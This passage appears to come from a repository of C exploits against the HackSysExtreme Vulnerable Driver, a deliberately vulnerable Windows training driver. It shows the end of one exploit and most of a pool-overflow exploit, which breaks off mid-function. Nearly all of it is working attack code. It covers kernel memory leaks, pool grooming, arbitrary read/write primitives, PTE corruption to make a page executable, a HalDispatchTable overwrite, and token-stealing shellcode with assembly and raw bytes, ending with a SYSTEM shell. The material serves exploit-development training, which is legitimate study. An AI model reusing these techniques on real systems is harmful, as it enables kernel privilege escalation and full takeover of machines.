466 | unsigned long long three13 = 0x0000000000000000;
467 | unsigned long long four13 = taintedPte;
468 |
469 | // Assign the values
470 | inBuf13[0] = one13;
471 | inBuf13[1] = two13;
472 | inBuf13[2] = three13;
473 | inBuf13[3] = four13;
474 |
475 |
476 | // Interact with the driver
477 | DWORD bytesReturned13 = 0;
478 |
479 | BOOL interact12 = DeviceIoControl(
480 | driverHandle,
481 | IOCTL_WRITE_CODE,
482 | &inBuf13,
483 | sizeof(inBuf13),
484 | &inBuf13,
485 | sizeof(inBuf13),
486 | &bytesReturned13,
487 | NULL
488 | );
489 |
490 | // Error handling
491 | if (!interact12)
492 | {
493 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
494 | }
495 | else
496 | {
497 | printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n");
498 |
499 | // Offset to nt!HalDispatchTable+0x8
500 | unsigned long long halDispatch = baseofKernel + 0x427258;
501 |
502 | // Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8
503 | // Buffer to send to the driver (write primitive)
504 | unsigned long long inBuf14[4];
505 |
506 | // Values to send
507 | unsigned long long one14 = 0x4141414141414141;
508 | unsigned long long two14 = halDispatch;
509 | unsigned long long three14 = 0x0000000000000000;
510 | unsigned long long four14 = 0x0000000000000000;
511 |
512 | // Assign the values
513 | inBuf14[0] = one14;
514 | inBuf14[1] = two14;
515 | inBuf14[2] = three14;
516 | inBuf14[3] = four14;
517 |
518 | // Interact with the driver
519 | DWORD bytesReturned14 = 0;
520 |
521 | BOOL interact13 = DeviceIoControl(
522 | driverHandle,
523 | IOCTL_READ_CODE,
524 | &inBuf14,
525 | sizeof(inBuf14),
526 | &inBuf14,
527 | sizeof(inBuf14),
528 | &bytesReturned14,
529 | NULL
530 | );
531 |
532 | // Error handling
533 | if (!interact13)
534 | {
535 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
536 | }
537 | else
538 | {
539 | // Last member of read array should contain preserved nt!HalDispatchTable+0x8 value
540 | unsigned long long preservedHal = inBuf14[3];
541 |
542 | printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n", preservedHal);
543 |
544 | // Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8
545 | // Buffer to send to the driver (write primitive)
546 | unsigned long long inBuf15[4];
547 |
548 | // Values to send
549 | unsigned long long one15 = 0x4141414141414141;
550 | unsigned long long two15 = halDispatch;
551 | unsigned long long three15 = 0x0000000000000000;
552 | unsigned long long four15 = shellcodeLocation;
553 |
554 | // Assign the values
555 | inBuf15[0] = one15;
556 | inBuf15[1] = two15;
557 | inBuf15[2] = three15;
558 | inBuf15[3] = four15;
559 |
560 | // Interact with the driver
561 | DWORD bytesReturned15 = 0;
562 |
563 | BOOL interact14 = DeviceIoControl(
564 | driverHandle,
565 | IOCTL_WRITE_CODE,
566 | &inBuf15,
567 | sizeof(inBuf15),
568 | &inBuf15,
569 | sizeof(inBuf15),
570 | &bytesReturned15,
571 | NULL
572 | );
573 |
574 | // Error handling
575 | if (!interact14)
576 | {
577 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
578 | }
579 | else
580 | {
581 | printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n");
582 |
583 | // Locating nt!NtQueryIntervalProfile
584 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(
585 | GetModuleHandle(
586 | TEXT("ntdll.dll")),
587 | "NtQueryIntervalProfile"
588 | );
589 |
590 | // Error handling
591 | if (!NtQueryIntervalProfile)
592 | {
593 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError());
594 | exit(1);
595 | }
596 | else
597 | {
598 | // Print update for found ntdll!NtQueryIntervalProfile
599 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile);
600 |
601 | // Calling nt!NtQueryIntervalProfile
602 | ULONG exploit = 0;
603 |
604 | NtQueryIntervalProfile(
605 | 0x1234,
606 | &exploit
607 | );
608 |
609 | // Restoring nt!HalDispatchTable+0x8
610 | // Buffer to send to the driver (write primitive)
611 | unsigned long long inBuf16[4];
612 |
613 | // Values to send
614 | unsigned long long one16 = 0x4141414141414141;
615 | unsigned long long two16 = halDispatch;
616 | unsigned long long three16 = 0x0000000000000000;
617 | unsigned long long four16 = preservedHal;
618 |
619 | // Assign the values
620 | inBuf16[0] = one16;
621 | inBuf16[1] = two16;
622 | inBuf16[2] = three16;
623 | inBuf16[3] = four16;
624 |
625 | // Interact with the driver
626 | DWORD bytesReturned16 = 0;
627 |
628 | BOOL interact15 = DeviceIoControl(
629 | driverHandle,
630 | IOCTL_WRITE_CODE,
631 | &inBuf16,
632 | sizeof(inBuf16),
633 | &inBuf16,
634 | sizeof(inBuf16),
635 | &bytesReturned16,
636 | NULL
637 | );
638 |
639 | // Error handling
640 | if (!interact15)
641 | {
642 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
643 | }
644 | else
645 | {
646 | printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n");
647 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
648 |
649 | // Spawning an NT AUTHORITY\SYSTEM shell
650 | system("cmd.exe /c cmd.exe /K cd C:\\");
651 | }
652 | }
653 | }
654 | }
655 | }
656 | }
657 | }
658 | }
659 | }
660 | }
661 |
662 | // Call exploitWork()
663 | void main(void)
664 | {
665 | exploitWork();
666 | }
667 |
--------------------------------------------------------------------------------
/HEVD/Pool Overflow/HEVD_PoolOverflow.c:
--------------------------------------------------------------------------------
1 | // HackSysExtreme Vulnerable Driver: Pool Overflow + Memory Disclosure
2 | // Author: Connor McGarr (@33y0re)
3 |
4 | #include
5 | #include
6 |
7 | // typdef an ARW_HELPER_OBJECT_IO struct
8 | typedef struct _ARW_HELPER_OBJECT_IO
9 | {
10 | PVOID HelperObjectAddress;
11 | PVOID Name;
12 | SIZE_T Length;
13 | } ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;
14 |
15 | // Create a global array of ARW_HELPER_OBJECT_IO objects to manage the groomed pool allocations
16 | ARW_HELPER_OBJECT_IO helperobjectArray[5000] = { 0 };
17 |
18 | // Prepping call to nt!NtQueryIntervalProfile
19 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
20 |
21 | // Leak the base of HEVD.sys
22 | unsigned long long memLeak(HANDLE driverHandle)
23 | {
24 | // Array to manage handles opened by CreateEventA
25 | HANDLE eventObjects[5000];
26 |
27 | // Spray 5000 objects to fill the new page
28 | for (int i = 0; i <= 5000; i++)
29 | {
30 | // Create the objects
31 | HANDLE tempHandle = CreateEventA(
32 | NULL,
33 | FALSE,
34 | FALSE,
35 | NULL
36 | );
37 |
38 | // Assign the handles to the array
39 | eventObjects[i] = tempHandle;
40 | }
41 |
42 | // Check to see if the first handle is a valid handle
43 | if (eventObjects[0] == NULL)
44 | {
45 | printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
46 |
47 | return 0x1;
48 | exit(-1);
49 | }
50 | else
51 | {
52 | printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");
53 |
54 | // Close half of the handles
55 | for (int i = 0; i <= 5000; i += 2)
56 | {
57 | BOOL tempHandle1 = CloseHandle(
58 | eventObjects[i]
59 | );
60 |
61 | eventObjects[i] = NULL;
62 |
63 | // Error handling
64 | if (!tempHandle1)
65 | {
66 | printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());
67 |
68 | return 0x1;
69 | exit(-1);
70 | }
71 | }
72 |
73 | printf("[+] Poked holes in the new pool page!\n");
74 |
75 | // Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
76 | // kLFH should automatically fill the freed holes with the UAF objects
77 | DWORD bytesReturned;
78 |
79 | for (int i = 0; i < 2500; i++)
80 | {
81 | DeviceIoControl(
82 | driverHandle,
83 | 0x00222053,
84 | NULL,
85 | 0,
86 | NULL,
87 | 0,
88 | &bytesReturned,
89 | NULL
90 | );
91 | }
92 |
93 | printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");
94 |
95 | // Close the rest of the event objects
96 | for (int i = 1; i <= 5000; i += 2)
97 | {
98 | BOOL tempHandle2 = CloseHandle(
99 | eventObjects[i]
100 | );
101 |
102 | eventObjects[i] = NULL;
103 |
104 | // Error handling
105 | if (!tempHandle2)
106 | {
107 | printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());
108 |
109 | return 0x1;
110 | exit(-1);
111 | }
112 | }
113 |
114 | // Array to store the buffer (output buffer for DeviceIoControl) and the base address
115 | unsigned long long outputBuffer[100];
116 | unsigned long long hevdBase = 0;
117 |
118 | // Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
119 | // Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)
120 |
121 | for (int i = 0; i <= 100; i++)
122 | {
123 | // Return buffer
124 | DWORD bytesReturned1;
125 |
126 | DeviceIoControl(
127 | driverHandle,
128 | 0x0022204f,
129 | NULL,
130 | 0,
131 | &outputBuffer,
132 | sizeof(outputBuffer),
133 | &bytesReturned1,
134 | NULL
135 | );
136 |
137 | }
138 |
139 | printf("[+] Successfully triggered the out-of-bounds read!\n");
140 |
141 | // Parse the output
142 | for (int i = 0; i <= 100; i++)
143 | {
144 | // Kernel mode address?
145 | if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
146 | {
147 | printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
148 | printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);
149 |
150 | // Store the variable for future usage
151 | hevdBase = outputBuffer[i] - 0x880CC;
152 |
153 | // Return the value of the base of HEVD
154 | return hevdBase;
155 | }
156 | }
157 | }
158 | }
159 |
160 | // Function used to fill the holes in pool pages
161 | void fillHoles(HANDLE driverHandle)
162 | {
163 | // Instantiate an ARW_HELPER_OBJECT_IO
164 | ARW_HELPER_OBJECT_IO tempObject = { 0 };
165 |
166 | // Value to assign the Name member of each ARW_HELPER_OBJECT_IO
167 | unsigned long long nameValue = 0x9090909090909090;
168 |
169 | // Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size
170 | tempObject.Length = 0x8;
171 |
172 | // Bytes returned
173 | DWORD bytesreturnedFill;
174 |
175 | for (int i = 0; i <= 5000; i++)
176 | {
177 | // Set the Name value to 0x9090909090909090
178 | tempObject.Name = &nameValue;
179 |
180 | // Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090
181 | DeviceIoControl(
182 | driverHandle,
183 | 0x00222063,
184 | &tempObject,
185 | sizeof(tempObject),
186 | &tempObject,
187 | sizeof(tempObject),
188 | &bytesreturnedFill,
189 | NULL
190 | );
191 |
192 | // Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO
193 | // This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still)
194 | DeviceIoControl(
195 | driverHandle,
196 | 0x00222067,
197 | &tempObject,
198 | sizeof(tempObject),
199 | &tempObject,
200 | sizeof(tempObject),
201 | &bytesreturnedFill,
202 | NULL
203 | );
204 |
205 | // After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array
206 | helperobjectArray[i] = tempObject;
207 | }
208 |
209 | printf("[+] Sprayed ARW_HELPER_OBJECT_IO objects to fill holes in the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
210 | }
211 |
212 | // Fill up the new page within the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects
213 | void groomPool(HANDLE driverHandle)
214 | {
215 | // Instantiate an ARW_HELPER_OBJECT_IO
216 | ARW_HELPER_OBJECT_IO tempObject1 = { 0 };
217 |
218 | // Value to assign the Name member of each ARW_HELPER_OBJECT_IO
219 | unsigned long long nameValue1 = 0x9090909090909090;
220 |
221 | // Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size
222 | tempObject1.Length = 0x8;
223 |
224 | // Bytes returned
225 | DWORD bytesreturnedGroom;
226 |
227 | for (int i = 0; i <= 5000; i++)
228 | {
229 | // Set the Name value to 0x9090909090909090
230 | tempObject1.Name = &nameValue1;
231 |
232 | // Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090
233 | DeviceIoControl(
234 | driverHandle,
235 | 0x00222063,
236 | &tempObject1,
237 | sizeof(tempObject1),
238 | &tempObject1,
239 | sizeof(tempObject1),
240 | &bytesreturnedGroom,
241 | NULL
242 | );
243 |
244 | // Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO
245 | // This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still)
246 | DeviceIoControl(
247 | driverHandle,
248 | 0x00222067,
249 | &tempObject1,
250 | sizeof(tempObject1),
251 | &tempObject1,
252 | sizeof(tempObject1),
253 | &bytesreturnedGroom,
254 | NULL
255 | );
256 |
257 | // After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array
258 | helperobjectArray[i] = tempObject1;
259 | }
260 |
261 | printf("[+] Filled the new page with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
262 | }
263 |
264 | // Free every other object in the global array to poke holes for the vulnerable objects
265 | void pokeHoles(HANDLE driverHandle)
266 | {
267 | // Bytes returned
268 | DWORD bytesreturnedPoke;
269 |
270 | // Free every other element in the global array managing objects in the new page from grooming
271 | for (int i = 0; i <= 5000; i += 2)
272 | {
273 | DeviceIoControl(
274 | driverHandle,
275 | 0x0022206f,
276 | &helperobjectArray[i],
277 | sizeof(helperobjectArray[i]),
278 | &helperobjectArray[i],
279 | sizeof(helperobjectArray[i]),
280 | &bytesreturnedPoke,
281 | NULL
282 | );
283 | }
284 |
285 | printf("[+] Poked holes in the NonPagedPoolNx page containing the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
286 | }
287 |
288 | // Create the main ARW_HELPER_OBJECT_IO
289 | ARW_HELPER_OBJECT_IO createmainObject(HANDLE driverHandle)
290 | {
291 | // Instantiate an object of type ARW_HELPER_OBJECT_IO
292 | ARW_HELPER_OBJECT_IO helperObject = { 0 };
293 |
294 | // Set the Length member which corresponds to the amount of memory used to allocate a chunk to store the Name member eventually
295 | helperObject.Length = 0x8;
296 |
297 | // Bytes returned
298 | DWORD bytesReturned2;
299 |
300 | // Invoke CreateArbitraryReadWriteHelperObjectNonPagedPoolNx to create the main ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
301 | DeviceIoControl(
302 | driverHandle,
303 | 0x00222063,
304 | &helperObject,
305 | sizeof(helperObject),
306 | &helperObject,
307 | sizeof(helperObject),
308 | &bytesReturned2,
309 | NULL
310 | );
311 |
312 | // Parse the output
313 | printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperObject.HelperObjectAddress);
314 | printf("[+] PARW_HELPER_OBJECT_IO->Name: 0x%p\n", helperObject.Name);
315 | printf("[+] PARW_HELPER_OBJECT_IO->Length: 0x%zu\n", helperObject.Length);
316 |
317 | return helperObject;
318 | }
319 |
320 | // Read/write primitive
321 | void readwritePrimitive(HANDLE driverHandle)
322 | {
323 | // Store the value of the base of HEVD
324 | unsigned long long hevdBase = memLeak(driverHandle);
325 |
326 | // Store the main ARW_HELOPER_OBJECT
327 | ARW_HELPER_OBJECT_IO mainObject = createmainObject(driverHandle);
328 |
329 | // Fill the holes
330 | fillHoles(driverHandle);
331 |
332 | // Groom the pool
333 | groomPool(driverHandle);
334 |
335 | // Poke holes
336 | pokeHoles(driverHandle);
337 |
338 | // Use buffer overflow to take "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name value (managed by ARW_HELPER_OBJECT_IO.Name) to overwrite any of the groomed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name values
339 | // Create a buffer that first fills up the vulnerable chunk of 0x10 (16) bytes
340 | unsigned long long vulnBuffer[5];
341 | vulnBuffer[0] = 0x4141414141414141;
342 | vulnBuffer[1] = 0x4141414141414141;
343 |
344 | // Hardcode the _POOL_HEADER value for a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object
345 | vulnBuffer[2] = 0x6b63614802020000;
346 |
347 | // Padding
348 | vulnBuffer[3] = 0x4141414141414141;
349 |
350 | // Overwrite any of the adjacent ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name member with the address of the "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX (via ARW_HELPER_OBJECT_IO.HelperObjectAddress)
351 | vulnBuffer[4] = mainObject.HelperObjectAddress;
352 |
353 | // Bytes returned
354 | DWORD bytesreturnedOverflow;
355 | DWORD bytesreturnedreadPrimtitve;
356 |
357 | printf("[+] Triggering the out-of-bounds-write via pool overflow!\n");
358 |
359 | // Trigger the pool overflow
360 | DeviceIoControl(
361 | driverHandle,
362 | 0x0022204b,
363 | &vulnBuffer,
364 | sizeof(vulnBuffer),
365 | &vulnBuffer,
366 | 0x28,
367 | &bytesreturnedOverflow,
368 | NULL
369 | );
370 |
371 | // Find which "groomed" object was overflowed
372 | int index = 0;
373 | unsigned long long placeholder = 0x9090909090909090;
374 |
375 | // Loop through every groomed object to find out which Name member was overwritten with the main ARW_HELPER_NON_PAGED_POOL_NX object
376 | for (int i = 0; i <= 5000; i++)
377 | {
378 | // The placeholder variable will be overwritten. Get operation will overwrite this variable with the real contents of each object's Name member
379 | helperobjectArray[i].Name = &placeholder;
380 |
381 | DeviceIoControl(
382 | driverHandle,
383 | 0x0022206b,
384 | &helperobjectArray[i],
385 | sizeof(helperobjectArray[i]),
386 | &helperobjectArray[i],
387 | sizeof(helperobjectArray[i]),
388 | &bytesreturnedreadPrimtitve,
389 | NULL
390 | );
391 |
392 | // Loop until a Name value other than the original NOPs is found
393 | if (placeholder != 0x9090909090909090)
394 | {
395 | printf("[+] Found the overflowed object overwritten with main ARW_HELPER_NON_PAGED_POOL_NX object!\n");
396 | printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperobjectArray[i].HelperObjectAddress);
397 |
398 | // Assign the index
399 | index = i;
400 |
401 | printf("[+] Array index of global array managing groomed objects: %d\n", index);
402 |
403 | // Break the loop
404 | break;
405 | }
406 | }
407 |
408 | // IAT entry from HEVD.sys which points to nt!ExAllocatePoolWithTag
409 | unsigned long long ntiatLeak = hevdBase + 0x2038;
410 |
411 | // Print update
412 | printf("[+] Target HEVD.sys address with pointer to ntoskrnl.exe: 0x%llx\n", ntiatLeak);
413 |
414 | // Assign the target address to the corrupted object
415 | helperobjectArray[index].Name = &ntiatLeak;
416 |
417 | // Set the Name member of the "corrupted" object managed by the global array. The main object is currently set to the Name member of one of the sprayed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX that was corrupted via the pool overflow
418 | DeviceIoControl(
419 | driverHandle,
420 | 0x00222067,
421 | &helperobjectArray[index],
422 | sizeof(helperobjectArray[index]),
423 | NULL,
424 | NULL,
425 | &bytesreturnedreadPrimtitve,
426 | NULL
427 | );
428 |
429 | // Declare variable that will receive the address of nt!ExAllocatePoolWithTag and initialize it
430 | unsigned long long ntPointer = 0x9090909090909090;
431 |
432 | // Setting the Name member of the main object to the address of the ntPointer variable. When the Name member is dereferenced and bubbled back up to user mode, it will overwrite the value of ntPointer
433 | mainObject.Name = &ntPointer;
434 |
435 | // Perform the "Get" operation on the main object, which should now have the Name member set to the IAT entry from HEVD
436 | DeviceIoControl(
437 | driverHandle,
438 | 0x0022206b,
439 | &mainObject,
440 | sizeof(mainObject),
441 | &mainObject,
442 | sizeof(mainObject),
443 | &bytesreturnedreadPrimtitve,
444 | NULL
445 | );
446 |
447 | // Print the pointer to nt!ExAllocatePoolWithTag
448 | printf("[+] Leaked ntoskrnl.exe pointer! nt!ExAllocatePoolWithTag: 0x%llx\n", ntPointer);
449 |
450 | // Assign a variable the base of the kernel (static offset)
451 | unsigned long long kernelBase = ntPointer - 0x9b3160;
452 |
453 | // Print the base of the kernel
454 | printf("[+] ntoskrnl.exe base address: 0x%llx\n", kernelBase);
455 |
456 | // Assign a variable with nt!MiGetPteAddress+0x13
457 | unsigned long long migetpteAddress = kernelBase + 0x222073;
458 |
459 | // Print update
460 | printf("[+] nt!MiGetPteAddress+0x13: 0x%llx\n", migetpteAddress);
461 |
462 | // Assign the target address to the corrupted object
463 | helperobjectArray[index].Name = &migetpteAddress;
464 |
465 | // Set the Name member of the "corrupted" object managed by the global array to obtain the base of the PTEs
466 | DeviceIoControl(
467 | driverHandle,
468 | 0x00222067,
469 | &helperobjectArray[index],
470 | sizeof(helperobjectArray[index]),
471 | NULL,
472 | NULL,
473 | &bytesreturnedreadPrimtitve,
474 | NULL
475 | );
476 |
477 | // Declare a variable that will receive the base of the PTEs
478 | unsigned long long pteBase = 0x9090909090909090;
479 |
480 | // Setting the Name member of the main object to the address of the pteBase variable
481 | mainObject.Name = &pteBase;
482 |
483 | // Perform the "Get" operation on the main object
484 | DeviceIoControl(
485 | driverHandle,
486 | 0x0022206b,
487 | &mainObject,
488 | sizeof(mainObject),
489 | &mainObject,
490 | sizeof(mainObject),
491 | &bytesreturnedreadPrimtitve,
492 | NULL
493 | );
494 |
495 | // Print update
496 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase);
497 |
498 | // Calculate the PTE page for our shellcode in KUSER_SHARED_DATA
499 | unsigned long long shellcodePte = 0xfffff78000000800 >> 9;
500 | shellcodePte = shellcodePte & 0x7FFFFFFFF8;
501 | shellcodePte = shellcodePte + pteBase;
502 |
503 | // Print update
504 | printf("[+] KUSER_SHARED_DATA+0x800 PTE page: 0x%llx\n", shellcodePte);
505 |
506 | // Assign the target address to the corrupted object
507 | helperobjectArray[index].Name = &shellcodePte;
508 |
509 | // Set the Name member of the "corrupted" object managed by the global array to obtain the address of the shellcode PTE page
510 | DeviceIoControl(
511 | driverHandle,
512 | 0x00222067,
513 | &helperobjectArray[index],
514 | sizeof(helperobjectArray[index]),
515 | NULL,
516 | NULL,
517 | &bytesreturnedreadPrimtitve,
518 | NULL
519 | );
520 |
521 | // Declare a variable that will receive the PTE bits
522 | unsigned long long pteBits = 0x9090909090909090;
523 |
524 | // Setting the Name member of the main object
525 | mainObject.Name = &pteBits;
526 |
527 | // Perform the "Get" operation on the main object
528 | DeviceIoControl(
529 | driverHandle,
530 | 0x0022206b,
531 | &mainObject,
532 | sizeof(mainObject),
533 | &mainObject,
534 | sizeof(mainObject),
535 | &bytesreturnedreadPrimtitve,
536 | NULL
537 | );
538 |
539 | // Print update
540 | printf("[+] PTE bits for shellcode page: %p\n", pteBits);
541 |
542 | // Store nt!HalDispatchTable+0x8
543 | unsigned long long halTemp = kernelBase + 0xc00a68;
544 |
545 | // Assign the target address to the corrupted object
546 | helperobjectArray[index].Name = &halTemp;
547 |
548 | // Set the Name member of the "corrupted" object managed by the global array to obtain the pointer at nt!HalDispatchTable+0x8
549 | DeviceIoControl(
550 | driverHandle,
551 | 0x00222067,
552 | &helperobjectArray[index],
553 | sizeof(helperobjectArray[index]),
554 | NULL,
555 | NULL,
556 | &bytesreturnedreadPrimtitve,
557 | NULL
558 | );
559 |
560 | // Declare a variable that will receive [nt!HalDispatchTable+0x8]
561 | unsigned long long halDispatch = 0x9090909090909090;
562 |
563 | // Setting the Name member of the main object
564 | mainObject.Name = &halDispatch;
565 |
566 | // Perform the "Get" operation on the main object
567 | DeviceIoControl(
568 | driverHandle,
569 | 0x0022206b,
570 | &mainObject,
571 | sizeof(mainObject),
572 | &mainObject,
573 | sizeof(mainObject),
574 | &bytesreturnedreadPrimtitve,
575 | NULL
576 | );
577 |
578 | // Print update
579 | printf("[+] Preserved [nt!HalDispatchTable+0x8] value: 0x%llx\n", halDispatch);
580 |
581 | // Arbitrary write primitive
582 |
583 | /*
584 | ; Windows 10 19H1 x64 Token Stealing Payload
585 | ; Author Connor McGarr
586 | [BITS 64]
587 | _start:
588 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
589 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
590 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
591 | __loop:
592 | mov rbx, [rbx + 0x448] ; ActiveProcessLinks
593 | sub rbx, 0x448 ; Go back to current process (_EPROCESS)
594 | mov rcx, [rbx + 0x440] ; UniqueProcessId (PID)
595 | cmp rcx, 4 ; Compare PID to SYSTEM PID
596 | jnz __loop ; Loop until SYSTEM PID is found
597 | mov rcx, [rbx + 0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x360
598 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
599 | mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process
600 | xor rax, rax ; set NTSTATUS STATUS_SUCCESS
601 | ret ; Done!
602 | */
603 |
604 | // Shellcode
605 | unsigned long long shellcode[9] = { 0 };
606 | shellcode[0] = 0x00018825048B4865;
607 | shellcode[1] = 0x000000B8808B4800;
608 | shellcode[2] = 0x04489B8B48C38948;
609 | shellcode[3] = 0x000448EB81480000;
610 | shellcode[4] = 0x000004408B8B4800;
611 | shellcode[5] = 0x8B48E57504F98348;
612 | shellcode[6] = 0xF0E180000004B88B;
613 | shellcode[7] = 0x48000004B8888948;
614 | shellcode[8] = 0x0000000000C3C031;
615 |
616 | // Assign the target address to write to the corrupted object
617 | unsigned long long kusersharedData = 0xfffff78000000800;
618 |
619 | // Create a "counter" for writing the array of shellcode
620 | int counter = 0;
621 |
622 | // For loop to write the shellcode
623 | for (int i = 0; i <= 9; i++)
624 | {
625 | // Setting the corrupted object to KUSER_SHARED_DATA+0x800 incrementally 9 times, since our shellcode is 9 QWORDS
626 | // kusersharedData variable, managing the current address of KUSER_SHARED_DATA+0x800, is incremented by 0x8 at the end of each iteration of the loop
627 | helperobjectArray[index].Name = &kusersharedData;
628 |
629 | // Setting the Name member of the main object to specify what we would like to write
630 | mainObject.Name = &shellcode[counter];
631 |
632 | // Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800, incrementally
633 | DeviceIoControl(
634 | driverHandle,
635 | 0x00222067,
636 | &helperobjectArray[index],
637 | sizeof(helperobjectArray[index]),
638 | NULL,
639 | NULL,
640 | &bytesreturnedreadPrimtitve,
641 | NULL
642 | );
643 |
644 | // Perform the arbitrary write via "set" to overwrite each QWORD of KUSER_SHARED_DATA+0x800 until our shellcode is written
645 | DeviceIoControl(
646 | driverHandle,
647 | 0x00222067,
648 | &mainObject,
649 | sizeof(mainObject),
650 | NULL,
651 | NULL,
652 | &bytesreturnedreadPrimtitve,
653 | NULL
654 | );
655 |
656 | // Increase the counter
657 | counter++;
658 |
659 | // Increase the counter
660 | kusersharedData += 0x8;
661 | }
662 |
663 | // Print update
664 | printf("[+] Successfully wrote the shellcode to KUSER_SHARED_DATA+0x800!\n");
665 |
666 | // Taint the PTE contents to corrupt the NX bit in KUSER_SHARED_DATA+0x800
667 | unsigned long long taintedBits = pteBits & 0x0FFFFFFFFFFFFFFF;
668 |
669 | // Print update
670 | printf("[+] Tainted PTE contents: %p\n", taintedBits);
671 |
672 | // Leverage the arbitrary write primitive to corrupt the PTE contents
673 |
674 | // Setting the Name member of the corrupted object to specify where we would like to write
675 | helperobjectArray[index].Name = &shellcodePte;
676 |
677 | // Specify what we would like to write (the tainted PTE contents)
678 | mainObject.Name = &taintedBits;
679 |
680 | // Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800's PTE virtual address
681 | DeviceIoControl(
682 | driverHandle,
683 | 0x00222067,
684 | &helperobjectArray[index],
685 | sizeof(helperobjectArray[index]),
686 | NULL,
687 | NULL,
688 | &bytesreturnedreadPrimtitve,
689 | NULL
690 | );
691 |
692 | // Perform the arbitrary write
693 | DeviceIoControl(
694 | driverHandle,
695 | 0x00222067,
696 | &mainObject,
697 | sizeof(mainObject),
698 | NULL,
699 | NULL,
700 | &bytesreturnedreadPrimtitve,
701 | NULL
702 | );
703 |
704 | // Print update
705 | printf("[+] Successfully corrupted the PTE of KUSER_SHARED_DATA+0x800! This region should now be marked as RWX!\n");
706 |
707 | // Leverage the arbitrary write primitive to overwrite nt!HalDispatchTable+0x8
708 |
709 | // Reset kusersharedData
710 | kusersharedData = 0xfffff78000000800;
711 |
712 | // Setting the Name member of the corrupted object to specify where we would like to write
713 | helperobjectArray[index].Name = &halTemp;
714 |
715 | // Specify where we would like to write (the address of KUSER_SHARED_DATA+0x800)
